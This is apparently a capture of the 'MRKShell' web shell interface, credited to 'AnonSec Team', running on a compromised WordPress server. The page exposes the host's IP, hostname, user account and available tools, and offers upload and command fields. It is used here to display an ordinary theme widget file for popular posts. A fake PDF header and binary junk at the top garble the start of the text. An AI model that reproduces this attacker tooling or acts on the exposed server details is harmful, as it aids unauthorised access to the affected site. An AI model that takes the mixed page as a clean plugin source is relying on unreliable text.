...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY MR K IS HERE
MRKShell
Server IP : 65.108.66.160  /  Your IP : 216.73.216.26
Web Server : Apache
System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : alasaweborg ( 1047)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/cwd/wp-content/plugins/template-core/widgets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/self/cwd/wp-content/plugins/template-core/widgets/popular_posts_widget.php
<?php



class Tpath_Popular_Posts_Widget extends WP_Widget {







	function __construct()



	{



		/* Widget settings. */



		$widget_options = array('classname' => 'tpath_popular_posts_widget', 'description' => 'Displays latest posts based on categories.');



		$control_options = array('id_base' => 'tpath_popular_posts-widget');



		



		/* Create the widget. */



		parent::__construct('tpath_popular_posts-widget', 'Popular Posts', $widget_options, $control_options);



	}







	function widget($args, $instance)



	{



		global $post;







		extract($args);







		$categories = absint($instance['categories']) ? $instance['categories'] : '';



		$posts_count = absint($instance['posts_count']) ? $instance['posts_count'] : 5;



		$show_thumb = $instance['show_thumb'];



		$show_excerpt = $instance['show_excerpt'];



		$show_date = $instance['show_date'];



		$title = apply_filters('widget_title', $instance['title']);







		echo $before_widget;



		



		if($title) {



			echo $before_title . $title . $after_title;



		}



				



		$popular_args = array(



			'posts_per_page' 		=> $posts_count,



			'meta_key'		 		=> 'greenture_post_views_count',



			'orderby' 		 		=> 'meta_value_num',



			'order' 		 		=> 'DESC',



			'cat'			 		=> $categories,



			'ignore_sticky_posts' 	=> 1



		);



		



		$popular_posts = new WP_Query($popular_args);



		if( $popular_posts->have_posts() ): ?>



		



			<div id="tpath_latest_posts_widget" class="tpath-latest-posts">



				<ul class="latest-posts-menu list-unstyled">



				<?php while( $popular_posts->have_posts( )): $popular_posts->the_post();



					$featured_img = wp_get_attachment_image_src(get_post_thumbnail_id($post->ID), 'greenture-testimonial');	?>



					



					<li class="posts-item clearfix">



						<?php if( $show_thumb == 'on' ) {



							if( $featured_img[0] != '' ) { ?>



								<div class="widget-entry-image entry-thumbnail">



									<a href="<?php the_permalink(); ?>" title="<?php the_title(); ?>" class="post-img-overlay">



										<img class="img-responsive latest-post-img" src="<?php echo esc_url( $featured_img[0] ); ?>" alt="<?php the_title(); ?>" />



									</a>



								</div>



							<?php } else { ?>



								<div class="widget-entry-image entry-thumbnail">



									<a href="<?php the_permalink(); ?>" title="<?php the_title(); ?>" class="post-img-overlay">



										<img src="<?php echo get_template_directory_uri(); ?>/images/empty-150.jpg" class="img-responsive latest-post-img" alt="<?php the_title(); ?>" />											



									</a>



								</div>



							<?php } ?>				



						<?php } ?>



						<div class="widget-entry-content">



							<h6><a href="<?php the_permalink(); ?>" title="<?php the_title(); ?>"><?php the_title(); ?></a></h6>



							<?php if( $show_excerpt == 'on' ) { ?>



								<p><?php echo greenture_custom_excerpts(8); ?></p>



							<?php } ?>



							<?php if( $show_date == 'on' ) { ?>



								<span class="entry-date"><?php the_time( 'd/m/Y' ); ?></span>



							<?php } ?>



						</div>



					</li>







				<?php endwhile; ?>



				</ul>



			</div>



			<?php endif; ?>



		<?php wp_reset_postdata();



		



		echo $after_widget;



	}







	function update($new_instance, $old_instance)



	{



		$instance = $old_instance;



		



		$instance['title'] = $new_instance['title'];



		$instance['categories'] = $new_instance['categories'];



		$instance['posts_count'] = $new_instance['posts_count'];



		$instance['show_thumb'] = $new_instance['show_thumb'];



		$instance['show_excerpt'] = $new_instance['show_excerpt'];



		$instance['show_date'] = $new_instance['show_date'];



		



		return $instance;



	}







	function form($instance)



	{



		$defaults = array('title' => '', 'categories' => '', 'posts_count' => '', 'show_thumb' => '', 'show_excerpt' => '', 'show_date' => '');



		$instance = wp_parse_args((array) $instance, $defaults);	



		



		?>



		<p>



			<label for="<?php echo esc_attr( $this->get_field_id('title') ); ?>"><?php esc_html_e('Title:', 'TemplateCore'); ?></label>



			<input class="widefat" type="text" id="<?php echo esc_attr( $this->get_field_id('title') ); ?>" name="<?php echo esc_attr( $this->get_field_name('title') ); ?>" value="<?php echo esc_attr( $instance['title'] ); ?>" />



		</p>



		<p>



			<label for="<?php echo esc_attr( $this->get_field_id('categories') ); ?>"><?php esc_html_e('Choose Category:', 'TemplateCore'); ?></label>			



			<?php $args = array(



					'show_option_all'    => 'All Categories',



					'id'                 => esc_attr( $this->get_field_id('categories' ) ),



					'name'               => esc_attr( $this->get_field_name('categories' ) ),



					'class'              => 'widefat',



					'orderby'            => 'NAME', 



					'order'              => 'ASC',	



					'selected'           => esc_attr($instance['categories']),				



					'hierarchical'       => 1,



					);



					



			wp_dropdown_categories($args); ?>



		</p>



		<p>



			<label for="<?php echo esc_attr( $this->get_field_id('posts_count') ); ?>"><?php esc_html_e('Number of posts to show:', 'TemplateCore'); ?></label>



			<input class="widefat" type="text" style="width: 35px;" id="<?php echo esc_attr( $this->get_field_id('posts_count') ); ?>" name="<?php echo esc_attr( $this->get_field_name('posts_count') ); ?>" value="<?php echo esc_attr( $instance['posts_count'] ); ?>" />



		</p>



		<p>



			<input class="checkbox" type="checkbox" <?php checked(esc_attr( $instance['show_thumb'] ), 'on'); ?> id="<?php echo esc_attr( $this->get_field_id('show_thumb') ); ?>" name="<?php echo esc_attr( $this->get_field_name('show_thumb') ); ?>" />



			<label for="<?php echo esc_attr( $this->get_field_id('show_thumb') ); ?>"><?php esc_html_e('Show Thumbnail Image', 'TemplateCore'); ?></label>



		</p>



		<p>



			<input class="checkbox" type="checkbox" <?php checked(esc_attr( $instance['show_excerpt'] ), 'on'); ?> id="<?php echo esc_attr( $this->get_field_id('show_excerpt') ); ?>" name="<?php echo esc_attr( $this->get_field_name('show_excerpt') ); ?>" />



			<label for="<?php echo esc_attr( $this->get_field_id('show_excerpt') ); ?>"><?php esc_html_e('Show Excerpt', 'TemplateCore'); ?></label>



		</p>



		<p>



			<input class="checkbox" type="checkbox" <?php checked(esc_attr( $instance['show_date'] ), 'on'); ?> id="<?php echo esc_attr( $this->get_field_id('show_date') ); ?>" name="<?php echo esc_attr( $this->get_field_name('show_date') ); ?>" />



			<label for="<?php echo esc_attr( $this->get_field_id('show_date') ); ?>"><?php esc_html_e('Show Posted Date', 'TemplateCore'); ?></label>



		</p>	



			



	<?php }



}







function tpath_popular_posts_load()



{



	register_widget('Tpath_Popular_Posts_Widget');



}







add_action('widgets_init', 'tpath_popular_posts_load');







?>

Anon7 - 2022
AnonSec Team